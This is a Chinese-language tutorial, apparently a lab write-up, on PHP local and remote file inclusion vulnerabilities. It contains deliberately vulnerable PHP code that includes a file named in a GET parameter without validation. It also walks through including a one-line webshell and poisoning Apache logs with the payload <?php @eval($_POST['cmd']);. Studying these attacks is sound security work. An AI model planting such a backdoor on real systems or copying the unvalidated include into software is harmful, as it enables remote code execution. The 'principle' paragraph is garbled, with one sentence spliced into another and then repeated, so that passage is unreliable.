概念
把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。
原理
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP WebApplication中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。泄露甚至恶意的代码注入。
几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP WebApplication中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。
php文件包含
文件包含漏洞可以分为LFl (Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)两种。
而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在hp.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默人为Off。
本地文件包含
在根目录下写一个php文件,文件内容为
<?php
if(isset($_GET['page'])){
include $_GET['page'];
echo "<h1 style='color:blue'>hello world</h1>";
include $_GET['page'];
}
else{
print "please input page!";
}
?>
文件名为include.php
在同路径下创建一个txt文件,内容以php格式编写
通过浏览器进行访问,是可以访问成功的
在桌面创建一个txt,以php格式编写
再访问就需要知道具体路径
把1.txt后缀改为jpg,再次访问,发现也是可以访问成功的,本地文件包含,不管文件是什么后缀,只要是以php格式编写,就可以被解析
远程文件包含
开启一台虚拟机,需要有php环境,apache,这里用的是Windows7
远程文件包含需要在配置文件php_ini中修改值,红色框内的值改为On,(这是改过的)
在里面网站根路径下创建一个php文件
在本机进行访问,远程文件包含就成功了
在虚拟机网站根目录下创建一个一句话木马,试试能不能包含成功
在本机浏览器访问,发现可以访问并进行简单控制
apache日志文件包含
首先修改配置文件
把红框内的#号去掉,这里去掉了
打开burpsuite,准备进行抓包
在浏览器内输入127.0.0.1/00/include.php/<?php @eval($_POST['cmd']);
回车就抓到包了
ctrl+r 发送到repater进行修改
进入日志查看,一句话木马上传成功
进行文件包含
浏览器进行访问
尝试通过一句话木马控制,可以发现一句话木马上传成功